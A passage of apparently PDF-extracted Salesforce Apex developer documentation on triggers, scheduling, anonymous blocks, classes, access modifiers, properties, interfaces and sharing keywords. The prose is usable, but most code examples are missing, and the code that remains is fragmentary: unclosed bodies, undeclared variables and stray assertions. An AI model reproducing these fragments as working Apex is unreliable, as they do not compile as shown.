// Now use the map to set the appropriate color on every OpportunityLineItem processed
// by the trigger.
for (OpportunityLineItem oli : Trigger.new)
oli.color__c = entries.get(oli.pricebookEntryId).product2.color__c;
}
Defining Triggers
Trigger scripts are stored as metadata under the object with which they are associated. To define a trigger in Salesforce.com:
72
Invoking Apex Defining Triggers
1. For a standard object, click Your Name ➤ Setup ➤ Customize, click the name of the object, then click Triggers.
For a custom object, click Your Name ➤ Setup ➤ Create ➤ Objects and click the name of the object.
For campaign members, click Your Name ➤ Setup ➤ Customize ➤ Campaigns ➤ Campaign Member ➤ Triggers.
For case comments, click Your Name ➤ Setup ➤ Cases ➤ Case Comments ➤ Triggers.
For email messages, click Your Name ➤ Setup ➤ Cases ➤ Email Messages ➤ Triggers.
2. In the Triggers related list, click New.
3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed
managed packages from the AppExchange, you can also specify which version of each managed package to use with this
trigger. Use the default values for all versions. This associates the trigger with the most recent version of Apex and the
API, as well as each managed package. You can specify an older version of a managed package if you want to access
components or functionality that differs from the most recent package version. You can specify an older version of Apex
and the API to maintain specific behavior.
4. Select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox deselected if you only
want to store the script in your organization's metadata. This checkbox is selected by default.
5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 1 million characters in length.
To define a trigger, use the following syntax:
where trigger_events can be a comma-separated list of one or more of the following events:
• before insert
• before update
• before delete
• after insert
• after update
• after delete
• after undelete
Note:
• You can only use the webService keyword in a trigger when it is in a method defined as asynchronous; that
is, when the method is defined with the @future keyword.
• A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime
error when the trigger is called in bulk from the Force.com API.
6. Click Save.
Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed
since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger,
including superficial changes such as edits to an object or field description, the isValid flag is set to false until the
Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user re-saves
the trigger in metadata.
If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run
any Apex triggers, validation rules, workflow rules, or roll-up summary fields.
73
Invoking Apex Triggers and Merge Statements
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search
textbox and click Find Next.
• To replace a found search string with another string, enter the new string in the Replace textbox and click replace
to replace just that instance, or Replace All to replace that instance and all other instances of the search string that
occur in the page, class, or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions
follow Javascript's regular expression rules. A search using regular expressions can find strings that wrap over more
than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular
expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <H1> tag
with an <H2> tag and keep all the attributes on the original <H1> intact, search for <H1(\s+)(.*)> and replace it
with <H2$1$2>.
Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that
line.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
74
Invoking Apex Triggers and Recovered Records
For example, if two contacts are merged, only the delete and update contact triggers fire. No triggers for records related to the
contacts, such as accounts or opportunities, fire.
The following is the order of events when a merge occurs:
1. The before delete trigger fires.
2. The system deletes the necessary records due to the merge, assigns new parent records to the child records, and sets the
MasterRecordId field on the deleted records.
3. The after delete trigger fires.
4. The system does the specific updates required for the master record. Normal update triggers apply.
75
Invoking Apex Triggers and Order of Execution
2. Loads the new record field values from the request and overwrites the old values. If the request came from a standard UI
edit page, Salesforce.com runs system validation to check the record for:
• Compliance with layout-specific rules
• Required values at the layout level and field-definition level
• Valid field formats
• Maximum field length
Salesforce.com does not perform system validation in this step when the request comes from other sources, such as an
Apex application or a Web services API call.
3. Executes all before triggers.
4. Runs most system validation steps again, such as verifying that all required fields have a non-null value, and runs any
user-defined validation rules. The only system validation that Salesforce.com does not run a second time (when the request
comes from a standard UI edit page) is the enforcement of layout-specific rules.
5. Saves the record to the database, but does not commit yet.
6. Executes all after triggers.
7. Executes assignment rules.
8. Executes auto-response rules.
9. Executes workflow rules.
10. If there are workflow field updates, updates the record again.
11. If the record was updated with workflow field updates, fires before and after triggers one more time (and only one
more time), in addition to standard validations. Custom validation rules are not run again.
Note: The before and after triggers fire one more time only if something needs to be updated. If the fields
have already been set to a value, the triggers are not fired again.
Additional Considerations
Please note the following when working with triggers:
• When Enable Validation and Triggers from Lead Convert is selected, if the lead conversion creates an
opportunity and the opportunity has Apex before triggers associated with it, the triggers run immediately after the opportunity
is created, before the opportunity contact role is created. For more information, see “Customizing Lead Settings” in the
Salesforce.com online help.
• If you are using before triggers to set Stage and Forecast Category for an opportunity record, the behavior is as
follows:
- If you set Stage and Forecast Category, the opportunity record contains those exact values.
- If you set Stage but not Forecast Category, the Forecast Category value on the opportunity record defaults
to the one associated with trigger Stage.
76
Invoking Apex Operations That Do Not Invoke Triggers
- If you reset Stage to a value specified in an API call or incoming from the user interface, the Forecast Category
value should also come from the API call or user interface. If no value for Forecast Category is specified and the
incoming Stage is different than the trigger Stage, the Forecast Category defaults to the one associated with
trigger Stage. If the trigger Stage and incoming Stage are the same, the Forecast Category is not defaulted.
• If you are cloning an opportunity with products, the following events occur in order:
1. The parent opportunity is saved according to the list of events shown above.
2. The opportunity products are saved according to the list of events shown above.
Note: If errors occur on an opportunity product, you must return to the opportunity and fix the errors before
cloning.
If any opportunity products contain unique custom fields, you must null them out before cloning the opportunity.
Before triggers associated with the following operations are only fired during lead conversion if validation and triggers for lead
conversion are enabled in the organization:
• insert of accounts, contacts, and opportunities
• update of accounts and contacts
When you modify an opportunity product on an opportunity, or when an opportunity product schedule changes an opportunity
product, even if the opportunity product changes the opportunity, the before and after triggers and the validation rules
do not fire for the opportunity. However, roll-up summary fields do get updated, and workflow rules associated with the
opportunity do run.
The getContent and getContentAsPDF PageReference methods aren't allowed in triggers.
Note the following for the ContentVersion object:
• Content pack operations involving the ContentVersion object, including slides and slide autorevision, don't invoke triggers.
Note: Content packs are revised when a slide inside of the pack is revised.
77
Invoking Apex Fields that Cannot Be Updated by Triggers
• Values for the TagCsv, ContentSize, and VersionData fields are only available in triggers if the request to create or
update ContentVersion records originates from the API.
• You can't use before or after delete triggers with the ContentVersion object.
Trigger Exceptions
Triggers can be used to prevent DML operations from occurring by calling the addError() method on a record or field.
When used on Trigger.new records in insert and update triggers, and on Trigger.old records in delete triggers,
the custom error message is displayed in the application interface and logged.
Note: Users experience less of a delay in response time if errors are added to before triggers.
A subset of the records being processed can be marked with the addError() method:
• If the trigger was spawned by a DML statement in Apex, any one error results in the entire operation rolling back. However,
the runtime engine still processes every record in the operation to compile a comprehensive list of errors.
• If the trigger was spawned by a bulk DML call in the Force.com API, the runtime engine sets aside the bad records and
attempts to do a partial save of the records that did not generate errors. See Bulk DML Exception Handling on page 231.
If a trigger ever throws an unhandled exception, all records are marked with an error and no further processing takes place.
Apex Scheduler
To invoke Apex classes to run at specific times, first implement the Schedulable interface for the class, then specify the
schedule using either the Schedule Apex page in the Salesforce.com user interface, or the System.schedule method.
For more information about the Schedule Apex page, see “Scheduling Apex” in the Salesforce.com online help.
78
Invoking Apex Apex Scheduler
Important: Salesforce.com only adds the process to the queue at the scheduled time. Actual execution may be delayed
based on service availability.
You can only have ten classes scheduled at one time. You can evaluate your current count by viewing the Scheduled
Jobs page in Salesforce.com or programmatically using the Force.com Web services API to query the CronTrigger
object.
Use extreme care if you are planning to schedule a class from a trigger. You must be able to guarantee that the trigger
will not add more scheduled classes than the ten that are allowed. In particular, consider API bulk updates, import
wizards, mass record changes through the user interface, and all cases where more than one record can be updated at
a time.
The following example implements the Schedulable interface for a class called mergeNumbers:
The following example uses the System.Schedule method to implement the above class.
You can also use the Schedulable interface with batch Apex classes. The following example implements the Schedulable
interface for a batch Apex class called batchable:
79
Invoking Apex Apex Scheduler
Use the SchedulableContext object to keep track of the scheduled job once it's scheduled. The SchedulableContext method
getTriggerID returns the Id of the CronTrigger object associated with this scheduled job as a string. Use this method to
track the progress of the scheduled job.
To stop execution of a job that was scheduled, use the System.abortJob method with the ID returned by the.getTriggerID
method.
System.assertEquals(CRON_EXP, ct.CronExpression);
System.assertEquals(0, ct.TimesTriggered);
System.assertEquals('2022-09-03 00:00:00', String.valueOf(ct.NextFireTime));
@istest
class TestClass {
80
Invoking Apex Apex Scheduler
Test.stopTest();
System.assertEquals('testScheduledApexFromTestMethodUpdated',
[SELECT id, name FROM account WHERE id = :a.id].name);
}
}
The System.Schedule method takes three arguments: a name for the job, an expression used to represent the time and
date the job is scheduled to run, and the name of the class. This expression has the following syntax:
Note: Salesforce.com only adds the process to the queue at the scheduled time. Actual execution may be delayed based
on service availability.
The System.Schedule method uses the user's timezone for the basis of all schedules.
Day_of_month 1–31 , - * ? / L W
81
Invoking Apex Apex Scheduler
82
Invoking Apex Anonymous Blocks
Expression Description
0 0 13 * * ? Class runs every day at 1 P.M.
0 0 22 ? * 6L Class runs the last Friday of every month at 10 P.M.
0 0 10 ? * MON-FRI Class runs Monday through Friday at 10 A.M.
0 0 20 * * ? 2010 Class runs every day at 8 P.M. during the year 2010.
In the following example, the class proschedule implements the Schedulable interface. The class is scheduled to run at
8 A.M., on the 13th of February.
Anonymous Blocks
An anonymous block is an Apex script that does not get stored in the metadata, but that can be compiled and executed using
one of the following:
• System Log console
• Force.com IDE
• The executeAnonymous Web services API call:
83
Invoking Apex Apex in AJAX
You can use anonymous blocks to quickly evaluate Apex on the fly, such as in System Log console or the Force.com IDE, or
to write scripts that change dynamically at runtime. For example, you might write a client Web application that takes input
from a user, such as a name and address, and then uses an anonymous block of Apex to insert a contact with that name and
address into the database.
Note the following about the content of an anonymous block (for executeAnonymous, the code String):
• Can include user-defined methods and exceptions.
• User-defined methods cannot include the keyword static.
• You do not have to manually commit any database changes.
• If your Apex script completes successfully, any database changes are automatically committed. If your Apex script does not
complete successfully, any changes made to the database are rolled back.
• Unlike classes and triggers, anonymous blocks execute as the current user and can fail to compile if the script violates the
user's object- and field-level permissions.
• Do not have a scope other than local. For example, though it is legal to use the global access modifier, it has no meaning.
The scope of the method is limited to the anonymous block.
Even though a user-defined method can refer to itself or later methods without the need for forward declarations, variables
cannot be referenced before their actual declaration. In the following example, the Integer int must be declared while
myProcedure1 does not:
Integer int1 = 0;
void myProcedure1() {
myProcedure2();
}
void myProcedure2() {
int1++;
}
myProcedure1();
Apex in AJAX
The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public webService methods.
To do so, include the following lines in your AJAX code:
84
Invoking Apex Apex in AJAX
Note: For AJAX buttons, use the alternate forms of these includes.
The execute method takes primitive data types, sObjects, and lists of primitives or sObjects.
To call a webService method with no parameters, use {} as the third parameter for sforce.apex.execute. For example,
to call the following Apex class:
Note: If a namespace has been defined for your organization, you must include it in the JavaScript code when you
invoke the class. For example, to call the above class, the JavaScript code from above would be rewritten as follows:
To verify whether your organization has a namespace, log in to your Salesforce.com organization and navigate to
Your Name ➤ Setup ➤ Create ➤ Packages. If a namespace is defined, it is listed under Developer Settings.
Both examples result in native JavaScript values that represent the return type of the methods.
Use the following line to display a popup window with debugging information:
sforce.debug.trace=true;
85
Chapter 4
Classes, Objects, and Interfaces
In this chapter ... A class is a template or blueprint from which Apex objects are created. Classes
consist of other classes, user-defined methods, variables, exception types, and
• Understanding Classes static initialization code. They are stored in the application under Your Name
• Interfaces and Extending Classes ➤ Setup ➤ Develop ➤ Apex Classes.
• Keywords Once successfully saved, class methods or variables can be invoked by other Apex
• Annotations scripts, or through the Web services API (or AJAX Toolkit) for methods that
• Classes and Casting have been designated with the webService keyword.
• Differences Between Apex Classes In most cases, the class concepts described here are modeled on their counterparts
and Java Classes in Java, and can be quickly understood by those who are familiar with them.
• Class Definition Creation
• Understanding Classes—more about creating classes in Apex
• Class Security
• Interfaces and Extending Classes—information about interfaces
• Namespace Prefix
• Keywords and Annotations—additional modifiers for classes, methods or
• Version Settings variables
• Classes and Casting—assigning a class of one data type to another
• Differences Between Apex Classes and Java Classes—how Apex and Java
differ
• Class Definition Creation and Class Security—creating a class in the
Salesforce.com user interface as well as enabling users to access a class
• Namespace Prefix and Version Settings—using a namespace prefix and
versioning Apex classes
86
Classes, Objects, and Interfaces Understanding Classes
Understanding Classes
As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an
instance of a class. For example, the PurchaseOrder class describes an entire purchase order, and everything that you can
do with a purchase order. An instance of the PurchaseOrder class is a specific purchase order that you send or receive.
All objects have state and behavior, that is, things that an object knows about itself, and things that an object can do. The state
of a PurchaseOrder object—what it knows—includes the user who sent it, the date and time it was created, and whether it
was flagged as important. The behavior of a PurchaseOrder object—what it can do—includes checking inventory, shipping
a product, or notifying a customer.
A class can contain variables and methods. Variables are used to specify the state of an object, such as the object's Name or
Type. Since these variables are associated with a class and are members of it, they are commonly referred to as member variables.
Methods are used to control behavior, such as getOtherQuotes or copyLineItems.
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the
body of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods
contained in the interface.
For more general information on classes, objects, and interfaces, see
http://java.sun.com/docs/books/tutorial/java/concepts/index.html
87
Classes, Objects, and Interfaces Extended Class Example
• The private access modifier declares that this class is only known locally, that is, only by this section of code. This is the
default access for inner classes—that is, if you don't specify an access modifier for an inner class, it is considered private.
This keyword can only be used with inner classes.
• The public access modifier declares that this class is visible in your application or namespace.
• The global access modifier declares that this class is known by all Apex scripts everywhere. All classes that contain
methods defined with the webService keyword must be declared as global. If a method or inner class is declared as
global, the outer, top-level class must also be defined as global.
• The with sharing and without sharing keywords specify the sharing mode for this class. For more information,
see Using the with sharing or without sharing Keywords on page 109.
• The virtual definition modifier declares that this class allows extension and overrides. You cannot override a method
with the override keyword unless the class has been defined as virtual.
• The abstract definition modifier declares that this class contains abstract methods, that is, methods that only have their
signature declared and no body defined.
Note:
• Classes defined with either virtual or abstract cannot also be defined as global in Developer Edition
organizations. They can be defined as global in sandbox organizations. Only private and public classes can
be defined as either virtual or abstract in Developer Edition organizations. However, a class defined as
global can extend virtual or abstract classes in either Developer Edition organizations or sandboxes.
• You cannot add a method to an abstract or virtual class after the class has been uploaded in a Managed - Released
package version. For more information about managed packages, see Developing Apex in Managed Packages on
page 188.
A class can implement multiple interfaces, but only extend one existing class. This restriction means that Apex does not support
multiple inheritance. The interface names in the list are separated by commas. For more information about interfaces, see
Interfaces and Extending Classes on page 101.
For more information about method and variable access modifiers, see Access Modifiers on page 94.
// Top-level (outer) class must be public or global (usually public unless they contain
// a Web Service, then they must be global)
public class OuterClass {
88
Classes, Objects, and Interfaces Extended Class Example
{
m = 'a';
}
// Inner interface
public virtual interface MyInterface {
// Interface extension
interface MySecondInterface extends MyInterface {
Integer method2(Integer i);
}
// Abstract class (that subclasses the class above). No constructor is needed since
// parent class has a no-argument constructor
public abstract class AbstractChildClass extends InnerClass {
89
Classes, Objects, and Interfaces Extended Class Example
90
Classes, Objects, and Interfaces Declaring Class Variables
// Define a variable with an interface data type, and assign it a value that is of
// a type that implements that interface
OuterClass.MyInterface mi = ic;
[public | private | protected | global | final] [static] data type variable name
[= value]
91
Classes, Objects, and Interfaces Defining Class Methods
For example:
(public | private | protected | global ) [override] [static] data type method name
(input parameters)
{
// The body of the method
}
Note: You can only use override to override methods in classes that have been defined as virtual.
For example:
As in Java, methods that return values can also be run as a statement if their results are not assigned to another variable.
Note that user-defined methods:
• Can be used anywhere that system methods are used.
• Pass arguments by reference, so that a variable that is passed into a method and then modified will also be modified in the
original code that called the method.
• Can be recursive.
• Can have side effects, such as DML insert statements that initialize sObject record IDs. See Apex Data Manipulation
Language (DML) Operations on page 212.
• Can refer to themselves or to methods defined later in the same class or anonymous block. Apex parses methods in two
phases, so forward declarations are not needed.
• Can be polymorphic. For example, a method named foo can be implemented in two ways, one with a single Integer
parameter and one with two Integer parameters. Depending on whether the method is called with one or two Integers,
the Apex parser selects the appropriate implementation to execute. If the parser cannot find an exact match, it then seeks
an approximate match using type coercion rules. For more information on data conversion, see Understanding Rules of
Conversion on page 40.
92
Classes, Objects, and Interfaces Using Constructors
Note: If the parser finds multiple approximate matches, a parse-time exception is generated.
• Can have statements where the return values are run as a statement if their results are not assigned to another variable.
This is the same as in Java.
Using Constructors
A constructor is code that is invoked when an object is created from the class blueprint. You do not need to write a constructor
for every class. If a class does not have a user-defined constructor, an implicit, no-argument, public one is used.
The syntax for a constructor is similar to a method, but it differs from a method definition in that it never has an explicit return
type and it is not inherited by the object created from it.
After you write the constructor for a class, you must use the new keyword in order to instantiate an object from that class,
using that constructor. For example, using the following class:
A new object of this type can be instantiated with the following code:
If you write a constructor that takes arguments, you can then use that constructor to create an object using those arguments.
If you create a constructor that takes arguments, and you still want to use a no-argument constructor, you must include one
in your code. Once you create a constructor for a class, you no longer have access to the default, no-argument public constructor.
You must create your own.
In Apex, a constructor can be overloaded, that is, there can be more than one constructor for a class, each having different
parameters. The following example illustrates a class with two constructors: one with no arguments and one that takes a simple
Integer argument. It also illustrates how one constructor calls another constructor using the this(...) syntax, also know as
constructor chaining.
Integer size;
93
Classes, Objects, and Interfaces Access Modifiers
New objects of this type can be instantiated with the following code:
Every constructor that you create for a class must have a different argument list. In the following example, all of the constructors
are possible:
When you define a new class, you are defining a new data type. You can use class name in any place you can use other data
type names, such as String, Boolean, or Account. If you define a variable whose type is a class, any object you assign to it must
be an instance of that class or subclass.
Access Modifiers
Apex allows you to use the private, protected, public, and global access modifiers when defining methods and
variables.
While triggers and anonymous blocks can also use these access modifiers, they are not as useful in smaller portions of Apex.
For example, declaring a method as global in an anonymous block does not enable you to call it from outside of that code.
For more information on class access modifiers, see Apex Defining Classes on page 87.
Note: Interface methods have no access modifiers. They are always global. For more information, see Interfaces and
Extending Classes on page 101.
By default, a method or variable is visible only to the Apex within the defining class. This is different from Java, where methods
and variables are public by default. Apex is more restrictive, and requires you to explicitly specify a method or variable as public
in order for it to be available to other classes in the same application namespace (see Namespace Prefix on page 119). You can
change the level of visibility by using the following access modifiers:
private
This is the default, and means that the method or variable is accessible only within the Apex class in which it is defined.
If you do not specify an access modifier, the method or variable is private.
94
Classes, Objects, and Interfaces Static and Instance
protected
This means that the method or variable is visible to any inner classes in the defining Apex class. You can only use this
access modifier for instance methods and member variables. Note that it is strictly more permissive than the default
(private) setting, just like Java.
public
This means the method or variable can be used by any Apex in this application or namespace.
Note: In Apex, the public access modifier is not the same as it is in Java. This was done to discourage joining
applications, to keep the code for each application separate. In Apex, if you want to make something public like
it is in Java, you need to use the global access modifier.
global
This means the method or variable can be used by any Apex script that has access to the class, not just the Apex scripts
in the same application. This access modifier should be used for any method that needs to be referenced outside of the
application, either in the Web services API or by other Apex scripts. If you declare a method or variable as global, you
must also declare the class that contains it as global.
Note: Salesforce.com recommends using the global access modifier rarely, if at all. Cross-application
dependencies are difficult to maintain.
To use the private, protected, public, or global access modifiers, use the following syntax:
[(none)|private|protected|public|global] declaration
For example:
95
Classes, Objects, and Interfaces Static and Instance
public class p {
public static boolean firstRun = true;
}
A trigger that uses this class could then selectively fail the first run of the trigger:
Class static variables cannot be accessed through an instance of that class. So if class C has a static variable S, and x is an
instance of C, then x.S is not a legal expression.
The same is true for instance methods: if M() is a static method then x.M() is not legal. Instead, your code should refer to
those static identifiers using the class: C.S and C.M().
If a local variable is named the same as the class name, these static methods and variables are hidden.
Inner classes behave like static Java inner classes, but do not require the static keyword. Inner classes can have instance
member variables like outer classes, but there is no implicit pointer to an instance of the outer class (using the this keyword).
Note: Static variable values are reset between API batches, but governor limits are not. Do not use static variables to
track state information on API batches, because Salesforce.com may break up a batch into smaller chunks than the
batch size you specify.
96
Classes, Objects, and Interfaces Static and Instance
Suppose you wanted to have a class that collects two dimensional points and plot them on a graph. The following skeleton
class illustrates this, making use of member variables to hold the list of points and an inner class to manage the two-dimensional
list of points.
Point(Double x, Double y) {
this.x = x;
this.y = y;
}
Double getXCoordinate() {
return x;
}
Double getYCoordinate() {
return y;
}
}
// The following method takes the list of points and does something with them
public void render() {
}
}
//code body
The instance initialization code in a class is executed every time an object is instantiated from that class. These code blocks
run before the constructor.
If you do not want to write your own constructor for a class, you can use an instance initialization code block to initialize
instance variables. However, most of the time you should either give the variable a default value or use the body of a constructor
to do initialization and not use instance initialization code.
Static initialization code is a block of code preceded with the keyword static:
static {
//code body
Similar to other static code, a static initialization code block is only initialized once on the first use of the class.
97
Classes, Objects, and Interfaces Apex Properties
A class can have any number of either static or instance initialization code blocks. They can appear anywhere in the code body.
The code blocks are executed in the order in which they appear in the file, the same as in Java.
You can use static initialization code to initialize static final variables and to declare any information that is static, such as a
map of values. For example:
class RGB {
Integer red;
Integer green;
Integer blue;
static {
colorMap.put('red', new RGB(255, 0, 0));
colorMap.put('cyan', new RGB(0, 255, 255));
colorMap.put('magenta', new RGB(255, 0, 255));
}
}
Apex Properties
An Apex property is similar to a variable, however, you can do additional things in your script to a property value before it is
accessed or returned. Properties can be used in many different ways: they can validate data before a change is made; they can
prompt an action when data is changed, such as altering the value of other member variables; or they can expose data that is
retrieved from some other source, such as another class.
Property definitions include one or two code blocks, representing a get accessor and a set accessor:
• The code in a get accessor executes when the property is read.
• The code in a set accessor executes when the property is assigned a new value.
A property with only a get accessor is considered read-only. A property with only a set accessor is considered write-only. A
property with both accessors is read-write.
To declare a property, use the following syntax in the body of a class:
// Property declaration
access_modifier return_type property_name {
get {
//Get accessor code block
}
set {
//Set accessor code block
}
}
}
Where:
98
Classes, Objects, and Interfaces Apex Properties
• access_modifier is the access modifier for the property. All modifiers that can be applied to variables can also be applied
to properties. These include: public, private, global, protected, static, virtual, abstract, override and
transient. For more information on access modifiers, see Access Modifiers on page 94.
• return_type is the type of the property, such as Integer, Double, sObject, and so on. For more information, see Data
Types on page 27.
• property_name is the name of the property
For example, the following class defines a property named prop. The property is public. The property returns an integer data
type.
The following code segment calls the class above, exercising the get and set accessors:
99
Classes, Objects, and Interfaces Apex Properties
The following code segment calls the static and instance properties:
100
Classes, Objects, and Interfaces Interfaces and Extending Classes
When you define a new interface, you are defining a new data type. You can use an interface name in any place you can use
another data type name. If you define a variable whose type is an interface, any object you assign to it must be an instance of
a class that implements the interface, or a sub-interface data type.
An interface can extend another interface. As with classes, when an interface extends another interface, all the methods and
properties of the extended interface are available to the extending interface.
See also Classes and Casting on page 113.
101
Classes, Objects, and Interfaces Parameterized Typing and Interfaces
You cannot add a method to an interface after the class has been uploaded in a Managed - Released package version. For more
information about managed packages, see Developing Apex in Managed Packages on page 188.
Integer x = 1;
x = 1;
Lists, maps and sets are parameterized in Apex: they take any data type Apex supports for them as an argument. That data
type must be replaced with an actual data type upon construction of the list, map or set. For example:
Parameterized typing allows interfaces to be implemented with generic data type parameters that are replaced with actual data
types upon construction.
The following gives an example of how the syntax of a parameterized interface works. In this example, the interface Pair has
two type variables, T and U. A type variable can be used like a regular type in the body of the interface.
The following interface DoubleUp extends the Pair interface. It uses the type variable T:
Tip: Notice that Pair must be defined as virtual for it to be extended by DoubleUp.
102
Classes, Objects, and Interfaces Parameterized Typing and Interfaces
Type variables can never appear outside an interface declaration, such as in a class. However, fully instantiated types, such as
Pair<String, String> are allowed anywhere in Apex that any other data type can appear. For example, the following
are legal in Apex:
In this example, when the compiler compiles the class StringPair, it must check that the class implements all of the methods
in DoubleUp<String> and in Pair<String, String>. So the compliler substitutes String for T and String for U inside
the body of interface Pair<T, U>.
This means that the following method prototypes must implement in StringPair for the class to successfully compile:
String getFirst();
String getSecond();
void setFirst(String val);
void setSecond(String val);
Pair<String, String> swap();
Overloading Methods
In this example, the following interface is used:
The interface Overloaded is legal in Apex: you can overload a method by defining two or more methods with the same name
but different parameters. However, you cannot have any ambiguity when invoking an overloaded method.
The following class successfully implements the Overloaded interface because it simultaneously implements both method
prototypes specified in the interface:
The following executes successfully because m is typed as MyClass, therefore MyClass.foo is the unique, matching method.
The following does not execute successfully because o is typed as Overloaded<String>, and so there are two matching
methods for o.foo(), neither of which typed to a specific method. The compiler cannot distinguish which of the two matching
methods should be used. :
Overloaded<String> o = m;
o.foo('bar');
103
Classes, Objects, and Interfaces Custom Iterators
However, you cannot use this in interfaces with parameterized types, such as for List, Map or Set. The following is not legal:
Custom Iterators
An iterator traverses through every item in a collection. For example, in a while loop in Apex, you define a condition for
exiting the loop, and you must provide some means of traversing the collection, that is, an iterator. In the following example,
count is incremented by 1 every time the loop is executed (count++) :
Using the Iterator interface you can create a custom set of instructions for traversing a List through a loop. This is useful
for data that exists in sources outside of Salesforce.com that you would normally define the scope of using a SELECT statement.
Iterators can also be used if you have multiple SELECT statements.
while(x.hasNext()){
system.debug(x.next());
}
104
Classes, Objects, and Interfaces Custom Iterators
The iterator method must be declared as global. It creates a reference to the iterator that you can then use to traverse
the data structure.
In the following example a custom iterator iterates through a collection:
105
Classes, Objects, and Interfaces Keywords
Keywords
Apex has the following keywords available:
• final
• instanceof
• super
• this
• transient
• with sharing and without sharing
106
Classes, Objects, and Interfaces Using the this Keyword
public SuperClass() {
mySalutation = 'Mr.';
myFirstName = 'Carl';
myLastName = 'Vonderburg';
}
mySalutation = salutation;
myFirstName = firstName;
myLastName = lastName;
}
You can create the following class that extends Superclass and overrides its printName method:
The expected output when calling Subclass.printName is My name is Mr. Vonderburg. But you can call
me Carl.
You can also use super to call constructors. Add the following constructor to SubClass:
public Subclass() {
super('Madam', 'Brenda', 'Clapentrap');
}
Now, the expected output of Subclass.printName is My name is Madam Clapentrap. But you can call
me Brenda.
107
Classes, Objects, and Interfaces Using the transient Keyword
You can use the this keyword in dot notation, without parenthesis, to represent the current instance of the class in which it
appears. Use this form of the this keyword to access instance variables and methods. For example:
string s;
{
this.s = 'TestString';
}
}
In the above example, the class testThis declares an instance variable s. The initialization code populates the variable using
the this keyword.
Or you can use the this keyword to do constructor chaining, that is, in one constructor, call another constructor. In this
format, use the this keyword with parentheses. For example:
When you use the this keyword in a constructor to do constructor chaining, it must be the first statement in the constructor.
Use the transient keyword to declare instance variables that can't be saved, and shouldn't be transmitted as part of the view
state for a Visualforce page. For example:
Declaring variables as transient reduces view state size. A common use case for the transient keyword is a field on a
Visualforce page that is needed only for the duration of a page request, but should not be part of the page's view state and
would use too many system resources to be recomputed many times during a request.
Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view
state. These objects include the following:
• Savepoints
• PageReferences
• XmlStream Classes
• Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient,
such as a collection of Savepoints
• Most of the objects generated by system methods, such as Schema.getGlobalDescribe.
Static variables also don't get transmitted through the view state.
108
Classes, Objects, and Interfaces Using the with sharing or without sharing Keywords
The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page
causes the transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date
continues to have its original value, which has been deserialized from the view state, so it remains the same.
<apex:page controller="ExampleController">
T1: {!t1} <br/>
T2: {!t2} <br/>
<apex:form>
<apex:commandLink value="refresh"/>
</apex:form>
</apex:page>
DateTime t1;
transient DateTime t2;
Because these rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive
data that would normally be hidden from users by profile-based permissions, field-level security, or organization-wide defaults.
They should be particularly careful with Web services, which can be restricted by profile, but execute in system context once
they are initiated.
Most of the time, system context provides the correct behavior for system-level operations such as triggers and Web services
that need access to all data in an organization. However, you can also specify that particular Apex classes should enforce the
sharing rules that apply to the current user. (For more information on sharing rules, see the Salesforce.com online help.)
Note: A user's profile-based permissions and field-level security are always ignored to ensure that Apex scripts can
view all fields and objects in an organization. If particular fields or objects are hidden for a user, the script would fail
to compile at runtime.
Use the with sharing keywords when declaring a class to enforce the sharing rules that apply to the current user. For
example:
// Code here
109
Classes, Objects, and Interfaces Using the with sharing or without sharing Keywords
Use the without sharing keywords when declaring a class to ensure that the sharing rules for the current user are not
enforced. For example:
// Code here
If a class is not declared as either with or without sharing, the current sharing rules remain in effect. This means that if the
class is called by a class that has sharing enforced, then sharing is enforced for the called class.
Both inner classes and outer classes can be declared as with sharing. The sharing setting applies to all code contained in
the class, including initialization code, constructors, and methods. Classes inherit this setting from a parent class when one
class extends or implements another, but inner classes do not inherit the sharing setting from their container class.
For example:
Account a = [select . . . ];
static {
. . .
}
{
. . .
}
public c() {
. . .
}
}
// Again, this call into CWith operates with enforced sharing rules
// for the context user, regardless of the class that initially called this inner class.
// When the call finishes, the code execution returns to the sharing mode that was used
to call this inner class.
110
Classes, Objects, and Interfaces Annotations
CWith.m();
}
Caution: There is no guarantee that a class declared as with sharing does not call a script that operates as without
sharing. Class-level security is always still necessary. In addition, all SOQL or SOSL queries that use PriceBook2
ignore the with sharing keyword. All PriceBook records are returned, regardless of the applied sharing rules.
Annotations
An Apex annotation modifies the way a method or class is used, similar to annotations in Java.
Annotations are defined with an initial @ symbol, followed by the appropriate keyword. To add an annotation to a method,
specify it immediately before the method or class definition. For example:
Future
Use the future annotation to identify methods that are executed asynchronously. When you specify future, the method
executes when Salesforce.com has available resources.
For example, you can use the future annotation when making an asynchronous Web service callout to an external service.
Without the annotation, the Web service callout is made from the same thread that is executing the Apex script, and no
additional processing can occur until the callout is complete (synchronous processing).
Methods with the future annotation must be static methods, and can only return a void type.
To make a method in a class execute asynchronously, define the method with the future annotation. For example:
111
Classes, Objects, and Interfaces IsTest
@future
static void myMethod(String a, Integer i) {
System.debug('Method called with: ' + a + ' and ' + i);
//do callout, other long running code
}
}
The following snippet shows how to specify that a method executes a callout:
@future (callout=true)
public static void doCalloutFromFuture() {
//Add code to perform callout
}
• Methods with the future annotation can execute 100 SOQL queries when they are in the context of a testMethod
• Salesforce.com also imposes a limit on the number of future annotations: 200 method calls per full Salesforce.com user
